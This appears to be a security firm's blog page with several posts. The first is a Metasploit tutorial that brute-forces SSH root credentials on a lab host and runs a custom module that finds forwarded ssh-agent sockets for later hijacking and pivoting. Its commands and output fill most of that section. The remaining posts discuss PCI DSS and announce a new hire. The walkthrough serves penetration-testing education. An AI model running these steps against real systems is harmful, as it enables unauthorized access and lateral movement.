ssh-agent: Abusing the trust - Part 2

In part 1 of this blog post I discussed common issues with using ssh-agent forwarding in an untrusted environment. Despite the risks it remains prevalent and ripe for some exploitation.

There are tools out there to help exploit this scenario, the main one I know about is secret-agent but I've been working on integrating this attack into everyone's favourite framework for rapid exploit development, metasploit (MSF).

Right now, I've completed work on an enumeration post module called enum_ssh_agents. This can be used to identify any potential agents being forwarded through a box you've popped with metasploit. Later in this post I've outlined my roadmap for this tool, there's definitely some opportunities but I need to make some more tweaks to the core MSF to allow it.

Here's how to use the post module.

enum_ssh_agents

I'll assume you have achieved root access to a box in metasploit and have at least one root level session you can run a post module against. If you're following along at home we can quickly achieve that through the ssh_login auxiliary module. In this scenario our root credentials on debian1 are root/toor:

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set RHOSTS debian1
RHOSTS => debian1
msf auxiliary(ssh_login) > set USERNAME root
USERNAME => root
msf auxiliary(ssh_login) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(ssh_login) > run

[*] 192.168.1.60:22 SSH - Starting bruteforce
[*] 192.168.1.60:22 SSH - [1/3] - Trying: username: 'root' with password: ''
[-] 192.168.1.60:22 SSH - [1/3] - Failed: 'root':''
[*] 192.168.1.60:22 SSH - [2/3] - Trying: username: 'root' with password: 'root'
[-] 192.168.1.60:22 SSH - [2/3] - Failed: 'root':'root'
[*] 192.168.1.60:22 SSH - [3/3] - Trying: username: 'root' with password: 'toor'
[*] Command shell session 1 opened (192.168.1.250:50870 -> 192.168.1.60:22) at 2012-04-18 13:44:43 +0100
[+] 192.168.1.60:22 SSH - [3/3] - Success: 'root':'toor' 'uid=0(root) gid=0(root) groups=0(root) Linux debian1 2.6.32-5-686-bigmem #1 SMP Mon Oct 3 05:03:32 UTC 2011 i686 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Hurrah, session 1 opened. Now we can execute our post module to enumerate any SSH agents which may be available.

msf auxiliary(ssh_login) > use post/linux/gather/enum_ssh_agents
msf post(enum_ssh_agents) > set SESSION 1
SESSION => 1
msf post(enum_ssh_agents) > run

[*] Enumerating as root
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095036_default_192.168.1.60_linux.enum.ssh_a_332108.txt
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095036_default_192.168.1.60_linux.enum.ssh_a_275927.txt
[!] platform is linux
[*] SSH agent socket stored in /root/.msf4/loot/20120419095037_default_192.168.1.60_linux.enum.ssh_a_589857.txt
[!]
[*] Post module execution completed

Great, we've found some and saved the details to loot.

msf post(enum_ssh_agents) > loot

Loot
====

host service type name content info path
---- ------- ---- ---- ------- ---- ----
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_910544.txt
192.168.1.60 linux.enum.ssh_agents ssh_agent_socket text/plain SSH agent socket /root/.msf4/loot/20120419095217_post_192.168.1.60_linux.enum.ssh_a_377311.txt

At the moment the module saves details of an agent as a colon delimited entry in a text file:

msf post(enum_ssh_agents) > cat /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt
[*] exec: cat /root/.msf4/loot/20120419095218_post_192.168.1.60_linux.enum.ssh_a_227695.txt

pwnme:/tmp/ssh-JeCGlj2407/agent.2407

Roadmap

The roadmap for this module is to develop a way to pivot through the box where we have root and use the ssh-agents to scan/exploit further boxes beyond it. I already have some proof of concept code which can forward the ssh-agent back to our metasploit box for use in the scanning, and using metassh (which rocks btw) I can perform the pivot. The limitation is that the PoC code has to be executed on the root box and it's written in Ruby which isn't always installed.

I'm toying with the idea of rewriting it in Perl as that is nearly always available but that makes me feel a bit wrong. For now, a practical alternative is to upload socat to the root box and forward the agent back that way but the current metasploit ssh modules don't support agent based authentication so I've got that to work on too.

Code

If you want to play around with this yourself you need two things. A version of the metasploit framework which includes my patch to lib/msf/core/post/file.rb and the post module itself. You can get both of these from our Github page at https://github.com/7Elements/metasploit-framework. I've got some polish to add to this before the MSF guys will accept a pull request to the framework but that will be done soon.

Why I hate the PCI DSS

This is the final post in a three-parter which started with some background on card payments and the PCI DSS, then saw me explain some of the reasons why I love it and now, finally, will deliver some of the more negative aspects of this compliance requirement.

Who is PCI DSS for?

Let's first consider what PCI DSS is designed to protect. The standard is designed to prevent monetary losses from card fraud. Some casual Googling indicates that annual fraud losses in the UK are somewhere around £400 million depending on which report you read. Card detail theft, which is what PCI DSS is most concerned with, represents roughly 30% of that figure, or £120 million. These are pretty big numbers and it's not clear how much of that figure is ever recovered.
The card schemes are one of the biggest losers from this fraud and therefore naturally wanted to do something about it. The inherent problem for the schemes is that other organisations (merchants etc.) have to look after the data that, if compromised, results in fraud losses for them. The schemes needed to get these companies to protect card data. And so PCI DSS was born.

Issue one - Inherent insecurity and multiple custodians
Merchants aim to make money and therefore want to make it as easy as possible for their customers to purchase their goods and services. This overriding aim often takes precedence over security. But insecurity at the merchants’ end is not the only problem. The cards, and the way in which they are used, are also insecure. Card payments are fundamentally vulnerable to fraud because all you need to know in order to make a card payment are the card details. Everyone in the chain is exposed to the card details, from the customer, to the merchant, to the acquirer, to the issuer, to the card scheme. We all know the best way to protect data is give it to the fewest possible custodians and even PCI DSS states you should do that. The schemes can therefore be seen to have designed a product and a method of using that product with inherent insecurities.
The card schemes have merchants over a barrel. The schemes have something merchants want, a payment method almost universally accepted. However in return the merchants have to shoulder the cost and burden of securing this, when it's largely out of their control whether they receive this data in the first place.

Issue two - The card scheme members
Who are the card schemes? It's a membership that is mainly made up of banks and financial institutions. These are the companies whose technology underpins the entire process. At present these are set up to accommodate the payment card system, with all its insecurities. The issuers and acquirers are the ones whose IT platforms and operational processes would have to change to support an alternative more secure payment method. This would be a huge undertaking and there would appear to be little appetite to change things at the moment. It would therefore appear that the schemes have decided that changing the payment system is not a viable route forward.
The schemes have chosen to try and improve the security of the payment system in recent years. They have introduced chip and PIN and 3D Secure but these are bolt-ons to a broken system. They do not solve the fundamental problem of the card number.

Issue three - Cost of implementation
PCI DSS can be costly for a merchant to implement. The PCI SSC charges QSAs €10,000 up front and then €5000 every year, plus around $1000 per year per individual for training, ASVs have to pay $10,000 every year. This cost has to be passed on to the merchants by the QSA or ASV and so the average cost of compliance for even the smallest Level 1 merchant runs into tens of thousands of pounds. Whilst PCI DSS is intended to be about protecting the data and making a difference to fraud, compliance with the standard has become an industry of its own. From the merchant’s point of view there is likely to be little business logic in complying with the standard at such costs when their customers don’t demand it.

Issue four - Vendor influence and the mythical perimeter
PCI DSS, like other compliance programmes, has created a multi-billion pound industry of security vendors selling products to companies who need to be PCI DSS compliant. Anti-virus, IDS and firewalls, for example, are all requirements of the PCI DSS. They are products that vendors sell to companies who are looking to achieve PCI DSS compliance. These products alone will not stop a serious attacker though. The products sold by vendors for PCI DSS compliance are therefore not sufficient on their own to achieve an appropriate level of security.

PCI DSS is exacerbating the misconception that the attackers are only on the outside of your network and the data is "inside". The traditional Internet perimeter is dead, arguably it never actually lived but was conceived by all these firewall and IDS vendors because it sounds good right? They're out there, the only way in is through the firewall. "Monitor the traffic with our IDS and you're secure."
However, what happens when your sysadmin browses the web from your domain controller and all of a sudden you've got an infection in the middle of your network, on your DC, running as SYSTEM with access to all of your sensitive data?

Summing up
PCI DSS is full of good advice. Companies should have an information security management system, should have senior management buy-in, should have a clear policy on what is and isn't allowed and should document the way that things should and shouldn't be done. Employees should be expected to know how to interact with their systems and they should be trained to recognise old and new threats. They are the first and last line of defence.

But, companies should not be doing all of this just to protect card data. Companies should be taking all these steps to protect their own data and assets. Find out what makes your company money and focus your efforts into looking after it. Prioritise that and build solutions which encompass your external compliance requirements too.

If you don't know where to start with putting in defences, PCI DSS could help you get an idea but there isn't a one size fits all security standard. Every company is different and that is where you need to put some effort in. If you decide to get external help make sure they actually take time to listen to you and focus on your organisation's individual needs, not just selling you the same old "security-in-a-box solutions" that won’t stop a serious attacker.

Why I love the PCI DSS

I've been involved with PCI DSS since virtually the beginning, through work with a number of large Internet Payment Service Providers I was responsible for designing and implementing solutions which would accomodate some of its more specific requirements.

It's fair to say I have a love/hate relationship with PCI DSS and in this, the first of two posts, I'm going to explore my love of it. I think you can probably guess what the other post is going to be about. I'm not going to put forward any of the counter-arguments in this post so you'll need to read both to get the balanced view.

If you're unsure what PCI DSS is or how it may apply to you, we have published a high level overview of card payments and the PCI DSS here.


Raising Awareness

So what's to love about PCI DSS? Well, as with any compliance requirement it's going to get the attention of a company's board. "Attention" being that thing that we security professionals are trying hard to achieve all the time. So raising awareness of security issues; PCI DSS does that. Executives realise that they are going to have to evaluate their security practice and even spend some money to make improvements in a lot of cases. With PCI DSS as a compliance requirement, organisations which may have struggled to secure funding and focus are suddenly able to make a host of overall security and operational updates. This has led to improvements in policies, processes, infrastructure, physical controls and overall awareness of card data security. It all sounds great right? We'll come back to that in a later blog post.

Something is better than nothing

Well, in information security terms this is probably true in many cases. PCI DSS is a very prescriptive standard in a lot of respects, forcing even small merchants to consider security techniques that otherwise they may not. As independent consultants we work with many businesses who just aren't sure where to start. Many produce in-house web applications but their developers have never heard of Cross-Site Scripting, Injection flaws or any of the other common security risks on the OWASP Top Ten, let alone OWASP itself.

PCI DSS explicitly requires that companies develop in-house applications in accordance with widely available secure coding practice and cites OWASP and SANS specifically. So PCI DSS, if you do it right, gives you the opportunity and buy-in to create a secure development training programme, school your developers in doing things the "right" way and introduce them to the consequences insecure code brings.

It's certainly possible to write insecure code and still be PCI DSS compliant but isn't it surely better to have a development team who are aware of the core principles of secure development? Realising that you can't trust any input to your application is really the first step on a long journey, but it's an important one.

Ooh, shiny

Like most information security professionals who have to deal with compliance, I'm dismayed at the number of "compliance-in-a-box" products being churned out. Hey, I understand basic economics, there's no supply without demand, but seriously, there's no box for this. If you can see past all this nonsense and look at the standard for what it is you've actually got a huge number of process and documentation requirements and very few actual software/hardware ones.


This is good. What is going to save your company's data? That shiny IPS box with flashing blue lights or your staff following good security processes, reviewing logs and making educated decisions based on solid incident response procedures? That's just one example and PCI DSS requires you to have these types of procedures in place. It's surely difficult to argue with that isn't it? It has to make a positive difference.

Real world examples

Let's take a theoretical situation, ignore PCI DSS for a second and consider the following requirement from a security architecture perspective. Your IT Manager comes to you and says he needs to allow his Unix guys remote access to one of their Unix servers. The server is hosted in some remote datacentre.

After you've ascertained what's on the server and are comfortable that it can be Internet facing, what's on your checklist for allowing this access securely?

* Unique usernames for each engineer?
* Encrypted protocols only, probably SSH or SSH over a VPN?
* If it's SSH you'll want to use Public Key authentication only - so, Two-factor authentication ensuring engineers have passphrases on their keys?
* No direct root logins?
* Firewall off any other services not required?
* Remove any software you don't need?
* Make sure it's patched
* Make sure this host is in the DMZ, not the internal network?
* Ship logs to a central syslog server and monitor logins?
* Perform a remote scan to ensure you've left nothing silly available?


I could go on further but you get the idea. These are the sorts of things most security guys are going to say and they make sense. You'd be in pretty reasonable shape if you did all those things.

Well, PCI DSS is going to make you do all of those things. It's hard to criticise that.

What about designing a network to host a web application with a baackend database? How would you lay it out?

* Put the webservers in a DMZ?
* Place the database server on an internal network behind a further firewall?
* Only allow connections to the database server from the DMZ?
* Not permit direct Internet connections from the database network to the Internet, only the DMZ?

Again, these are just basics but they're likely on most security architects layered defence checklist. I probably don't need to say it but, PCI DSS will make you do this stuff.

Summing up

So, I've touched on a few of the positives of PCI DSS so far. It gives companies the impetus to implement a good security approach where perhaps they otherwise wouldn't. It opens the door for the information security team to get some valuable improvement done but it still takes a lot of work to implement solutions which actually improve security. For this reason I love it. I wish it wasn't the case but I'm a realist. If this is what it takes for companies to think about security then so be it.

PCI DSS is criticised for providing only a minimum baseline but, in its defence, that's exactly its purpose, the minimum. PCI DSS is guilty of far worse failings than that and in my next blog post I will explore my views on some of these.


On that note, the point I want to leave you with is this:

For all the apparent positives of the above, what is it focused on? Protecting card data. Is protecting card data the only data that needs protecting above all else? For almost all businesses the answer is no.

So is any of this actually improving your overall security? Well, maybe but maybe not. It's up to you to take the things which PCI DSS is asking you to do and squeeze every last drop of security value out of it while the budget and business focus is there.

Implement policies and procedures which cover PCI DSS but also cover the things that matter to your business. Design a network architecture that supports PCI DSS but which can also host the servers and data which really matter to your business.

Check out my next blog post as I dive deeper into the murky waters of PCI DSS compliance and expose it for what it really is.

7E welcomes on board Marc Wickenden

7E welcomes on board Marc Wickenden who joins the team as our Principal Security Consultant.

Marc brings with him over 13 years of technical experience with the majority of that time within both FSA and Payment Card regulated industries, all with a focus on Internet based business models.

Marc has been heavily involved in Internet Payment services industry for the last 8 years where he specialises in all aspects of information security from PCI DSS compliance through to technical network security solutions. So expect to see some PCI focused blogs in the future.

Make sure to say hello if you are at Hashdays as Marc will be attending.